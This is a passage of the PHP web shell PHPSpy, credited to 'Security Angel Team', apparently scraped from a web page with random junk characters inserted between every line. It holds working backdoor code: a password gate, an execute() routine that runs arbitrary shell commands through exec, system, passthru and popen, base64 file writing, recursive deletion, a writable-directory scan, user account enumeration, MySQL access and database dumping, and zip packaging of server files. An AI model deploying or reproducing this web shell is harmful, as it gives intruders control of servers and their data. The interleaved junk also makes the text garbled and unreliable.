1286.                 m($phpvarname .' : '.getcfg($phpvarname));
        A0 J- |1 |2 B7 h. Y2 c
1287.         }
      5 e  h! r8 T+ o
1288. 
      $ d8 t4 W+ n! S4 A( J2 A. w2 L7 `. ]+ ~' Q
1289.         formhead(array('title'=>'Server environment'));
      
1290.         makehide('action','phpenv');
      ) c) p1 Q% ?4 A3 ]$ z/ |
1291.         makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
      : y" P3 l; x/ J: Y0 c
1292.         formfooter();
      
1293. 
      
1294.         $hp = array(0=> 'Server', 1=> 'PHP');
      
1295.         for($a=0;$a<2;$a++) {
      
1296.                 p('<h2>'.$hp[$a].' »</h2>');
      : z4 ?, ^) I$ v) H6 e  }& _* c/ g
1297.                 p('<ul class="info">');
      
1298.                 if ($a==0) {
      
1299.                         for($i=1;$i<=9;$i++) {
      
1300.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
      
1301.                         }
      
1302.                 } elseif ($a == 1) {
      ) X) T' ~, A# T) N6 o) k
1303.                         for($i=10;$i<=23;$i++) {
      
1304.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
      
1305.                         }
      ( o6 W, o' e1 ~* [( _5 w) P
1306.                 }
      . e; G3 ~: a9 L( j+ O" O! |5 J
1307.                 p('</ul>');
      2 X+ c0 G% ~. f. G/ N8 {* I0 `
1308.         }
      5 y' Y! v& Q* J# U7 T. T
1309. }//end phpenv
      ; J; \! f; o) N- g- x
1310. 
      
1311. else {
      
1312.         m('Undefined Action');
      
1313. }
      
1314. 
      
1315. ?>
      5 P$ M- F% g* L1 |5 ?' y0 I
1316. </td></tr></table>
      
1317. <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
      
1318.         <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
      7 }! `& N, I9 p6 ~% e- I/ Y6 I) s
1319.         Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.
      
1320. </div>
      
1321. </body>
      $ G/ R' ^3 W8 h
1322. </html>
      
1323. 
      
1324. <?php
      0 W+ x' d4 }* r- ^% s
1325. 
      
1326. /*======================================================
      
1327. 函数库
      
1328. ======================================================*/
      
1329. 
      
1330. function m($msg) {
      
1331.         echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
      9 z/ |& s3 R6 l
1332.         echo $msg;
      ) _+ u9 P3 c& J) j5 O) S5 H
1333.         echo '</div>';
      
1334. }
      
1335. function scookie($key, $value, $life = 0, $prefix = 1) {
      4 R! u! F7 K/ N. h+ i
1336.         global $admin, $timestamp, $_SERVER;
      4 o9 {1 }( T; a8 k# o3 |/ j
1337.         $key = ($prefix ? $admin['cookiepre'] : '').$key;
      + Q+ i* L6 i2 `5 X
1338.         $life = $life ? $life : $admin['cookielife'];
      9 u& G: G6 t/ j
1339.         $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
      
1340.         setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
      ! U# C# K8 Z) P4 {! K( X
1341. }       
      
1342. function multi($num, $perpage, $curpage, $tablename) {
      
1343.         $multipage = '';
      
1344.         if($num > $perpage) {
      1 Y; f4 ^0 Z6 u5 v
1345.                 $page = 10;
      - x" n3 D4 b: I7 \
1346.                 $offset = 5;
      % r1 B5 x. I% n$ A, [# A* y
1347.                 $pages = @ceil($num / $perpage);
      1 m" ?8 Z0 X. ^! F( f7 H& o4 r# s
1348.                 if($page > $pages) {
      
1349.                         $from = 1;
      , }8 ^6 M. k. Q* ?2 t) U
1350.                         $to = $pages;
      3 z, a* n5 X6 \( p! b
1351.                 } else {
      
1352.                         $from = $curpage - $offset;
        J7 I% }- C, w7 L. p: M! p' E
1353.                         $to = $curpage + $page - $offset - 1;
      
1354.                         if($from < 1) {
      
1355.                                 $to = $curpage + 1 - $from;
      
1356.                                 $from = 1;
      0 U; O6 b% a4 G& c
1357.                                 if(($to - $from) < $page && ($to - $from) < $pages) {
      9 Z( a( m! a" k& S% R
1358.                                         $to = $page;
      
1359.                                 }
      
1360.                         } elseif($to > $pages) {
      
1361.                                 $from = $curpage - $pages + $to;
      
1362.                                 $to = $pages;
      9 d. H1 |% c: m7 [
1363.                                 if(($to - $from) < $page && ($to - $from) < $pages) {
      1 k" ?: |& H! y1 N; X8 o, Y
1364.                                         $from = $pages - $page + 1;
      5 O$ N- W, }2 u* y+ v. o9 p
1365.                                 }
      / k1 V- a# H8 M9 t2 d! j' @9 G- |
1366.                         }
      6 s4 ], O; p9 @
1367.                 }
      
1368.                 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
      
1369.                 for($i = $from; $i <= $to; $i++) {
      $ b! L5 V- S4 x- E, }- b. m" [
1370.                         $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
      " Q' Y1 {  f$ A  V7 L4 X& K% }
1371.                 }
      
1372.                 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
      
1373.                 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
      9 d* ~% X+ m' m
1374.         }
      4 \3 `5 p+ L. j; U# A  u4 n3 Y
1375.         return $multipage;
      ' V! m. X" G: |5 ?
1376. }
      / l* O5 v* n3 R
1377. // 登陆入口
      ; N/ x$ v) r9 Y/ ~
1378. function loginpage() {
      % t1 q: m- o) T' d. E
1379. ?>
      
1380.         <style type="text/css">
      9 w1 }" ]4 U+ n. M
1381.         input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
      
1382.         </style>
      
1383.         <form method="POST" action="">
      " B+ S+ V& D) m" F. I0 N& \
1384.         <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
      ' V  @* T1 M1 I1 T8 r% t
1385.         <input type="hidden" name="doing" value="login">
      , p$ N; j# {5 D1 M; ~0 E0 |
1386.         <input type="submit" value="Login">
      
1387.         </form>
      
1388. <?php
      
1389.         exit;
      
1390. }//end loginpage()
      ( U% [) J# x; m) J5 i0 u
1391. 
      
1392. function execute($cfe) {
      
1393.         $res = '';
      4 o- W0 D. e" b/ g# S) B3 y9 G
1394.         if ($cfe) {
      ' _7 X% ]7 p# V
1395.                 if(function_exists('exec')) {
      
1396.                         @exec($cfe,$res);
      6 {% t- f: ?- ?7 h# K% Q" J
1397.                         $res = join("\n",$res);
      3 H; N; D* K" M* ^
1398.                 } elseif(function_exists('shell_exec')) {
      7 o. @$ P% P) q% ]. R0 c# D4 @: |- t
1399.                         $res = @shell_exec($cfe);
      
1400.                 } elseif(function_exists('system')) {
      
1401.                         @ob_start();
      
1402.                         @system($cfe);
      
1403.                         $res = @ob_get_contents();
      
1404.                         @ob_end_clean();
      
1405.                 } elseif(function_exists('passthru')) {
      
1406.                         @ob_start();
      
1407.                         @passthru($cfe);
      
1408.                         $res = @ob_get_contents();
      
1409.                         @ob_end_clean();
      
1410.                 } elseif(@is_resource($f = @popen($cfe,"r"))) {
      ) j- d6 k$ n1 L% a: w& e' ]
1411.                         $res = '';
      
1412.                         while(!@feof($f)) {
      0 c2 P2 G7 @, k! b6 a. T
1413.                                 $res .= @fread($f,1024);
      5 g4 a5 W$ T. y% t- z) |7 L: \
1414.                         }
      
1415.                         @pclose($f);
      
1416.                 }
      - |' |+ p2 ^& l. P3 h. M9 T
1417.         }
      
1418.         return $res;
      3 f3 X" I' K0 J( _; a; `
1419. }
      2 Y. |8 P+ w5 w$ `
1420. function which($pr) {
      
1421.         $path = execute("which $pr");
      
1422.         return ($path ? $path : $pr);
      
1423. }
      - |$ S7 w- k& p) A) U6 L
1424. 
      ! A) x0 L6 t  L
1425. function cf($fname,$text){
      ) y0 |  l) a) j1 m6 t& I) k9 R
1426.         if($fp=@fopen($fname,'w')) {
      $ a* E6 R" M! r3 d
1427.                 @fputs($fp,@base64_decode($text));
      
1428.                 @fclose($fp);
      
1429.         }
      
1430. }
      4 k( t1 E( F1 E: I0 I6 N
1431. 
      
1432. // 页面调试信息
      ( N% y$ |' w) m  B
1433. function debuginfo() {
      
1434.         global $starttime;
      . D; s, g" R* S$ F% B
1435.         $mtime = explode(' ', microtime());
      
1436.         $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
      0 l3 J4 `- t: p6 J2 u; r
1437.         echo 'Processed in '.$totaltime.' second(s)';
      4 G3 y- n& q6 P( Z8 @# j
1438. }
      / g$ p* e, z. Y) S  D: Z: o
1439. 
      
1440. //连接数据库
      
1441. function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
      
1442.         if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
      & w% E& A7 J) }7 H" e: k
1443.                 p('<h2>Can not connect to MySQL server</h2>');
        V9 j) D1 H0 a0 D, }5 F  }
1444.                 exit;
      1 h5 p6 v* ~2 x9 g
1445.         }
        b5 a6 |8 ]4 Z% F- Z- a
1446.         if($link && $dbname) {
      1 S4 n6 t4 L$ W
1447.                 if (!@mysql_select_db($dbname, $link)) {
      
1448.                         p('<h2>Database selected has error</h2>');
      
1449.                         exit;
      * c' b6 w$ B8 s' O1 U1 u# u6 P4 B
1450.                 }
      ; n; j5 x, k$ D
1451.         }
      $ Z: w, X3 R0 S* t, S
1452.         if($link && mysql_get_server_info() > '4.1') {
      
1453.                 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
      
1454.                         q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
      * E- x$ Q* O1 ?' Q
1455.                 }
      
1456.         }
      ! }( ]* j% N  H, G7 G) t7 [
1457.         return $link;
      
1458. }
      
1459. 
      
1460. // 去掉转义字符
      
1461. function s_array(&$array) {
      
1462.         if (is_array($array)) {
      0 O/ l$ A3 K* D+ B! e: a/ R
1463.                 foreach ($array as $k => $v) {
      ! b' H8 V2 |( S
1464.                         $array[$k] = s_array($v);
      
1465.                 }
      5 a* E1 B. o+ ~# t) S( \/ v
1466.         } else if (is_string($array)) {
      ' l4 L4 q" ], I1 [
1467.                 $array = stripslashes($array);
      
1468.         }
      
1469.         return $array;
      
1470. }
      
1471. 
      2 c& f% i  L  N1 h
1472. // 清除HTML代码
      7 a4 g' F- X3 b0 A) d; l, R, x" W
1473. function html_clean($content) {
      $ y% B, T: t% k
1474.         $content = htmlspecialchars($content);
      / s7 u' F2 o5 {4 i6 K0 `
1475.         $content = str_replace("\n", "<br />", $content);
      2 T- D/ j5 A- R% B3 e5 r* V. A# L
1476.         $content = str_replace("  ", "  ", $content);
      
1477.         $content = str_replace("\t", "    ", $content);
      . j# e$ G! V# d* a
1478.         return $content;
      
1479. }
      " Z$ D- @% C$ I# t
1480. 
      
1481. // 获取权限
      
1482. function getChmod($filepath){
      
1483.         return substr(base_convert(@fileperms($filepath),10,8),-4);
      : V9 s: h- q- N7 z$ D1 Y. o
1484. }
      8 w- ^+ s/ k/ M: ?! g. v" T
1485. 
      
1486. function getPerms($filepath) {
      
1487.         $mode = @fileperms($filepath);
      5 a2 a, t' W, o9 y
1488.         if (($mode & 0xC000) === 0xC000) {$type = 's';}
      
1489.         elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
      2 q1 q0 d: j- J) i0 D, y) |
1490.         elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
      : |3 q5 |( n# z0 @, T* q
1491.         elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
      
1492.         elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
      
1493.         elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
      ; i3 H$ G3 ?+ d/ w% n8 P! _+ h
1494.         elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
      
1495.         else {$type = '?';}
      
1496. 
      
1497.         $owner['read'] = ($mode & 00400) ? 'r' : '-';
      
1498.         $owner['write'] = ($mode & 00200) ? 'w' : '-';
      4 \8 G3 F- j# {/ P( O
1499.         $owner['execute'] = ($mode & 00100) ? 'x' : '-';
      
1500.         $group['read'] = ($mode & 00040) ? 'r' : '-';
      
1501.         $group['write'] = ($mode & 00020) ? 'w' : '-';
      
1502.         $group['execute'] = ($mode & 00010) ? 'x' : '-';
      , k7 G( D  P3 k* i! }5 G
1503.         $world['read'] = ($mode & 00004) ? 'r' : '-';
      
1504.         $world['write'] = ($mode & 00002) ? 'w' : '-';
      
1505.         $world['execute'] = ($mode & 00001) ? 'x' : '-';
      8 Y- g" j$ u. h; x; k
1506. 
      
1507.         if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
      
1508.         if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
      , o7 D2 ~- b# \
1509.         if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
      " l/ l: y9 E4 R; L1 m# g3 a
1510. 
      & E+ l6 M% Q  y+ }1 D
1511.         return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
      # {& H6 w6 p. \* D
1512. }
      
1513. 
      . h3 [. g& v* m
1514. function getUser($filepath)        {
      
1515.         if (function_exists('posix_getpwuid')) {
      
1516.                 $array = @posix_getpwuid(@fileowner($filepath));
      6 u8 s2 W6 U% {, I7 i) r
1517.                 if ($array && is_array($array)) {
      ' c+ H0 d# E9 T/ e
1518.                         return ' / <a href="#" title="User: '.$array['name'].'
      
1519. Passwd: '.$array['passwd'].'
      2 T5 n2 l4 o, n" c1 l8 o; X2 C6 m
1520. Uid: '.$array['uid'].'
      
1521. gid: '.$array['gid'].'
      : {. Q' ~, H, e0 g
1522. Gecos: '.$array['gecos'].'
      
1523. Dir: '.$array['dir'].'
      1 l3 x5 T6 f, y6 H6 \( q5 s
1524. Shell: '.$array['shell'].'">'.$array['name'].'</a>';
      1 I% \6 K$ O8 R# g% d# z
1525.                 }
      9 i- u; L( G; S4 h) z# y9 \
1526.         }
      - J' \1 W; c8 Z) ?( c# `
1527.         return '';
      & X3 X' O- `; ]; t
1528. }
      
1529. 
      ! b4 C( k0 l0 J3 I
1530. // 删除目录
      + t; A; Y$ D" [- T% ~, Q3 ]
1531. function deltree($deldir) {
      
1532.         $mydir=@dir($deldir);       
      
1533.         while($file=$mydir->read())        {                
      
1534.                 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
      / H* }4 A$ ~" q0 h) z2 `* W
1535.                         @chmod($deldir.'/'.$file,0777);
      + w9 L. j, L: n3 Y7 D4 \. D7 M0 T
1536.                         deltree($deldir.'/'.$file);
      
1537.                 }
      
1538.                 if (is_file($deldir.'/'.$file)) {
      
1539.                         @chmod($deldir.'/'.$file,0777);
      
1540.                         @unlink($deldir.'/'.$file);
      
1541.                 }
      
1542.         }
      
1543.         $mydir->close();
      + v9 s8 n. \1 m1 R- k
1544.         @chmod($deldir,0777);
      / ?% N/ {# z; t
1545.         return @rmdir($deldir) ? 1 : 0;
      
1546. }
      " i! s3 o4 y' _
1547. 
      5 o0 g: x. `3 W
1548. // 表格行间的背景色替换
      ) v% }9 `- T2 o( N  O! y' W+ p% e
1549. function bg() {
      
1550.         global $bgc;
      : C, @3 g1 W9 w' {8 l9 W
1551.         return ($bgc++%2==0) ? 'alt1' : 'alt2';
      
1552. }
      " Q" d5 F7 c; L8 X0 p
1553. 
      
1554. // 获取当前的文件系统路径
      0 U7 E$ a# A- z, D5 R; u
1555. function getPath($scriptpath, $nowpath) {
      
1556.         if ($nowpath == '.') {
      - d+ {: s- h1 u+ J2 R. ?
1557.                 $nowpath = $scriptpath;
      
1558.         }
      
1559.         $nowpath = str_replace('\\', '/', $nowpath);
      # r2 ]7 p* n  x: f9 {
1560.         $nowpath = str_replace('//', '/', $nowpath);
      2 ~& q( b& A, J" F6 E; S
1561.         if (substr($nowpath, -1) != '/') {
      - X; A- H8 k7 y3 j( ~6 `. P7 L
1562.                 $nowpath = $nowpath.'/';
      * }8 C2 U3 ?8 s( n! d& k
1563.         }
      - e6 |; b0 ]8 k
1564.         return $nowpath;
      6 C0 J2 @1 A, q$ }, K
1565. }
      7 [/ M) {1 W" R9 s4 T2 ?7 h
1566. 
      3 g" B0 f% V7 ~2 W& ?" d% s
1567. // 获取当前目录的上级目录
      
1568. function getUpPath($nowpath) {
      # q! X, S1 t3 ~/ K
1569.         $pathdb = explode('/', $nowpath);
      
1570.         $num = count($pathdb);
      6 w/ D+ R4 `9 l, E
1571.         if ($num > 2) {
      
1572.                 unset($pathdb[$num-1],$pathdb[$num-2]);
      
1573.         }
      % S" w$ B% K' `0 F5 w0 B6 x' }8 f9 R2 M
1574.         $uppath = implode('/', $pathdb).'/';
      $ s; m& h5 i1 m/ i+ M
1575.         $uppath = str_replace('//', '/', $uppath);
      
1576.         return $uppath;
      ) E% H1 ]  ?* s5 j3 u& C1 k* a; B
1577. }
      : q+ l2 C2 `. m- w$ {5 H
1578. 
      
1579. // 检查PHP配置参数
      . x  Z9 K" F+ W
1580. function getcfg($varname) {
      
1581.         $result = get_cfg_var($varname);
      " D" p, H$ u9 U+ V8 s  G& H/ c
1582.         if ($result == 0) {
      
1583.                 return 'No';
      
1584.         } elseif ($result == 1) {
      2 Q5 \/ w$ l. [  ?* O+ h5 O  z
1585.                 return 'Yes';
      
1586.         } else {
      2 f7 {% ?" q7 A) S1 V/ P
1587.                 return $result;
      ' C# C- }* f1 P
1588.         }
      , e& B- O8 Y4 J: H( s1 \
1589. }
      
1590. 
      & {6 n- ]/ v9 I) A
1591. // 检查函数情况
      
1592. function getfun($funName) {
      
1593.         return (false !== function_exists($funName)) ? 'Yes' : 'No';
      ; N' I) p. G# o/ |& U6 S, Z
1594. }
      
1595. 
      
1596. function GetList($dir){
      
1597.         global $dirdata,$j,$nowpath;
      * }4 E8 d' Q! F% H
1598.         !$j && $j=1;
      
1599.         if ($dh = opendir($dir)) {
      
1600.                 while ($file = readdir($dh)) {
      
1601.                         $f=str_replace('//','/',$dir.'/'.$file);
      
1602.                         if($file!='.' && $file!='..' && is_dir($f)){
      7 B0 S; H, C$ G: b3 \8 f5 e
1603.                                 if (is_writable($f)) {
      
1604.                                         $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
      
1605.                                         $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
      
1606.                                         $dirdata[$j]['dirchmod']=getChmod($f);
      $ e0 k& [7 D  o, B7 T1 N
1607.                                         $dirdata[$j]['dirperm']=getPerms($f);
      / \9 w  I% Z# Y- Q6 B  v, D5 x
1608.                                         $dirdata[$j]['dirlink']=ue($dir);
      ( y% e; X" q: o. W' z7 o6 B
1609.                                         $dirdata[$j]['server_link']=$f;
      + h& p3 _% u- j% E$ e' ^3 |; u7 |5 _
1610.                                         $dirdata[$j]['client_link']=ue($f);
      8 c/ x! |4 y0 b3 I9 d
1611.                                         $j++;
      - Z9 _" t! F$ _; w, P- l. l/ k
1612.                                 }
      - t" J8 W+ a& Y6 i2 B9 N7 G* ~- ~
1613.                                 GetList($f);
      4 M' Z" o# ]' v0 U
1614.                         }
      # h+ M" }8 ?# l1 D8 M; O( M7 @
1615.                 }
      & [  I( s( L' q# A
1616.                 closedir($dh);
      $ q' D5 ?; E" E  Y  k& |& x4 @
1617.                 clearstatcache();
      
1618.                 return $dirdata;
      
1619.         } else {
      
1620.                 return array();
      . c1 [, P6 d# P
1621.         }
      
1622. }
      % p/ B0 n9 J6 U7 O
1623. 
      
1624. function qy($sql) {
        y7 T2 Y3 p1 `. t+ W& f
1625.         //echo $sql.'<br>';
      8 q7 P4 N# ^$ m" [4 q
1626.         $res = $error = '';
      # R( `3 X! p" \4 a+ Z* r( W
1627.         if(!$res = @mysql_query($sql)) {
      4 K4 R4 e' ?1 n
1628.                 return 0;
      5 r9 [$ e2 k( X6 @1 {( _
1629.         } else if(is_resource($res)) {
      + X$ E& J# u5 e
1630.                 return 1;
      9 O0 X' N# v4 F2 e# a; r5 n$ G
1631.         } else {
      , `8 @9 z( R3 F* ~3 x7 [% c% H
1632.                 return 2;
      # q! U! U- {# s$ ]
1633.         }       
      
1634.         return 0;
      0 W8 s+ L2 l" v6 I% {! O
1635. }
      
1636. 
      
1637. function q($sql) {
      
1638.         return @mysql_query($sql);
      
1639. }
      
1640. 
      % h3 _( K  a: i( Q) w# @/ w
1641. function fr($qy){
      
1642.         mysql_free_result($qy);
      
1643. }
      
1644. 
      
1645. function sizecount($size) {
      5 H4 o% y2 I; G  X7 {
1646.         if($size > 1073741824) {
      + A! o2 g7 A1 p
1647.                 $size = round($size / 1073741824 * 100) / 100 . ' G';
      
1648.         } elseif($size > 1048576) {
      
1649.                 $size = round($size / 1048576 * 100) / 100 . ' M';
      % L4 N7 ?0 t; U7 B8 A; J
1650.         } elseif($size > 1024) {
      
1651.                 $size = round($size / 1024 * 100) / 100 . ' K';
      
1652.         } else {
      
1653.                 $size = $size . ' B';
      
1654.         }
      1 A. x- y9 u9 c/ ?) G& F! C- |
1655.         return $size;
      
1656. }
      
1657. 
        e* y! I" _0 B# A5 U3 X
1658. // 压缩打包类
      
1659. class PHPZip{
      9 L; t, G7 _6 [- ?2 V, t
1660.         var $out='';
      
1661.         function PHPZip($dir)        {
      " M4 r3 O6 A. ~) M/ x- h
1662.                 if (@function_exists('gzcompress'))        {
      
1663.                         $curdir = getcwd();
      
1664.                         if (is_array($dir)) $filelist = $dir;
      9 U2 C3 j4 W. Y* y5 p* O+ ]
1665.                         else{
      5 z2 m9 P2 a; T6 ^( }9 E" p( {: D* H( ~
1666.                                 $filelist=$this -> GetFileList($dir);//文件列表
      
1667.                                 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
      
1668.                         }
      
1669.                         if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
      & n( l+ a6 c2 E, R2 x5 j0 E
1670.                         else chdir($curdir);
      " |0 w/ `; m; y/ c
1671.                         if (count($filelist)>0){
      
1672.                                 foreach($filelist as $filename){
      
1673.                                         if (is_file($filename)){
      * b! {# p( C' O2 n; x
1674.                                                 $fd = fopen ($filename, 'r');
      
1675.                                                 $content = @fread ($fd, filesize($filename));
      2 T. }/ q" m' N) Y& R' c4 }5 h
1676.                                                 fclose ($fd);
      
1677.                                                 if (is_array($dir)) $filename = basename($filename);
      
1678.                                                 $this -> addFile($content, $filename);
      ! P! _7 i1 @, Y& h' n  f0 a# B) Z
1679.                                         }
      " \4 {# ^: g+ W# c! H5 x
1680.                                 }
      & y% `8 V; }; _, S
1681.                                 $this->out = $this -> file();
      
1682.                                 chdir($curdir);
      1 O. R% `! t3 G" \% F
1683.                         }
      
1684.                         return 1;
      
1685.                 }
      
1686.                 else return 0;
      1 @! C# u7 Y! E7 f, u" @3 }# Y
1687.         }
      ! b- s: g2 t( V) K8 F3 E
1688. 
      
1689.         // 获得指定目录文件列表
      1 n1 W) G; S, i2 e% l# g+ E
1690.         function GetFileList($dir){
      
1691.                 static $a;
      % _- R% O- H6 M# j5 p( U
1692.                 if (is_dir($dir)) {
      
1693.                         if ($dh = opendir($dir)) {
      3 z% g0 U8 \( u/ S# v
1694.                                 while ($file = readdir($dh)) {
      
1695.                                         if($file!='.' && $file!='..'){
      % b8 V8 l5 G3 `' ~  s, N
1696.                                                 $f=$dir .'/'. $file;
      
1697.                                                 if(is_dir($f)) $this->GetFileList($f);
      
1698.                                                 $a[]=$f;
      
1699.                                         }
      
1700.                                 }
      
1701.                                 closedir($dh);
      6 x2 x0 i$ J1 O+ `! T
1702.                         }
      * b2 u7 H4 T' |: b% l
1703.                 }
      ' b) {5 f# M! {) L  a
1704.                 return $a;
      
1705.         }
      
1706. 
      5 q+ Z6 ~# ?- M  T# j  Y
1707.         var $datasec      = array();
      
1708.         var $ctrl_dir     = array();
      
1709.         var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
      & Z- `  t, j" D6 p/ o
1710.         var $old_offset   = 0;
      
1711. 
      - {& `- P& R5 W7 S" K/ Y
1712.         function unix2DosTime($unixtime = 0) {
      
1713.                 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
      5 o* N: l0 G4 g
1714.                 if ($timearray['year'] < 1980) {
      ) a3 U- i# g: t1 D' n& q2 G( I
1715.                         $timearray['year']    = 1980;
      , e7 v; u& _2 t/ @  v8 p" S
1716.                         $timearray['mon']     = 1;
      * R7 S" N$ _0 S5 l! V6 H' L
1717.                         $timearray['mday']    = 1;
      . @- v9 ~# @' u6 [; F! [6 r
1718.                         $timearray['hours']   = 0;
      3 @+ U) o, c" t; ~
1719.                         $timearray['minutes'] = 0;
      
1720.                         $timearray['seconds'] = 0;
      7 O3 p+ @! L5 E$ g
1721.                 } // end if
      ! {8 [, L/ ?; G, S/ ?$ C) V
1722.                 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
      
1723.                                 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
      
1724.         }
      
1725.         function addFile($data, $name, $time = 0) {
      
1726.                 $name = str_replace('\\', '/', $name);
      
1727.                 $dtime = dechex($this->unix2DosTime($time));
      
1728.                 $hexdtime        = '\x' . $dtime[6] . $dtime[7]
      3 ]; k2 S9 p& Z# g4 z4 |. P6 c
1729.                                         . '\x' . $dtime[4] . $dtime[5]
      ! m! e$ B" u3 v! I( }, N4 a
1730.                                         . '\x' . $dtime[2] . $dtime[3]
      
1731.                                         . '\x' . $dtime[0] . $dtime[1];
      
1732.                 eval('$hexdtime = "' . $hexdtime . '";');
      
1733.                 $fr        = "\x50\x4b\x03\x04";
      / X1 c/ `% V1 a5 g9 B
1734.                 $fr        .= "\x14\x00";
      ) ?, P- r7 U8 |# j4 }' ~
1735.                 $fr        .= "\x00\x00";
      ; g- u3 r4 A6 a4 K
1736.                 $fr        .= "\x08\x00";
      
1737.                 $fr        .= $hexdtime;
      
1738.                 $unc_len = strlen($data);
      , ?3 l1 u/ w. B
1739.                 $crc = crc32($data);
      " z% g  o6 t! T8 j4 j) E5 r
1740.                 $zdata = gzcompress($data);
      
1741.                 $c_len = strlen($zdata);
      
1742.                 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
      ; O# W+ `! A9 o# I+ Y8 ]
1743.                 $fr .= pack('V', $crc);
      : O* C, x+ Y2 }* Y6 X+ j& h0 a+ m
1744.                 $fr .= pack('V', $c_len);
      & |  i' \- n, s$ v
1745.                 $fr .= pack('V', $unc_len);
      0 n4 y- k# m+ l0 S. h$ {# R7 y
1746.                 $fr .= pack('v', strlen($name));
      $ K! z4 }; W6 `- m* u
1747.                 $fr .= pack('v', 0);
      # e0 ^6 E& D& }
1748.                 $fr .= $name;
      
1749.                 $fr .= $zdata;
      
1750.                 $fr .= pack('V', $crc);
      . B1 c3 J1 p) X
1751.                 $fr .= pack('V', $c_len);
      
1752.                 $fr .= pack('V', $unc_len);
      
1753.                 $this -> datasec[] = $fr;
      
1754.                 $new_offset = strlen(implode('', $this->datasec));
      
1755.                 $cdrec = "\x50\x4b\x01\x02";
      
1756.                 $cdrec .= "\x00\x00";
      * i' {; b4 V1 M3 Z, `! n
1757.                 $cdrec .= "\x14\x00";
      4 ?- K' @' x" u
1758.                 $cdrec .= "\x00\x00";
      0 s: E8 w& b$ t) \( A) W% J! E
1759.                 $cdrec .= "\x08\x00";
      7 S1 w% a8 j* B
1760.                 $cdrec .= $hexdtime;
      
1761.                 $cdrec .= pack('V', $crc);
      
1762.                 $cdrec .= pack('V', $c_len);
      
1763.                 $cdrec .= pack('V', $unc_len);
      % V2 n0 e! F' H' H/ P
1764.                 $cdrec .= pack('v', strlen($name) );
      ! x2 |8 p# y! p. o5 ~' J9 s
1765.                 $cdrec .= pack('v', 0 );
      
1766.                 $cdrec .= pack('v', 0 );
      8 r" c/ R! ^! U' l$ F6 u4 W6 d( Z
1767.                 $cdrec .= pack('v', 0 );
      + K* e, |  e; o! D" r* {, Z2 Q) [5 E! G
1768.                 $cdrec .= pack('v', 0 );
      
1769.                 $cdrec .= pack('V', 32 );
      7 T6 c# W) _" G
1770.                 $cdrec .= pack('V', $this -> old_offset );
      
1771.                 $this -> old_offset = $new_offset;
      
1772.                 $cdrec .= $name;
      
1773.                 $this -> ctrl_dir[] = $cdrec;
      % D& [4 n: M# U  s! X+ o
1774.         }
      
1775.         function file() {
      5 ^! ?3 l) [, t5 G5 x1 ~, w/ [: ?: a
1776.                 $data    = implode('', $this -> datasec);
      4 _, G* h3 O0 p0 j
1777.                 $ctrldir = implode('', $this -> ctrl_dir);
      / i! `9 V6 o2 H. u/ ?8 z' b
1778.                 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) .        pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
      % m. S! m- |$ B& d
1779.         }
      ! `2 B! `9 L7 K4 D& c* ]
1780. }
      
1781. // 备份数据库
      ! O" N; P6 d1 k. D" y2 h1 i
1782. function sqldumptable($table, $fp=0) {
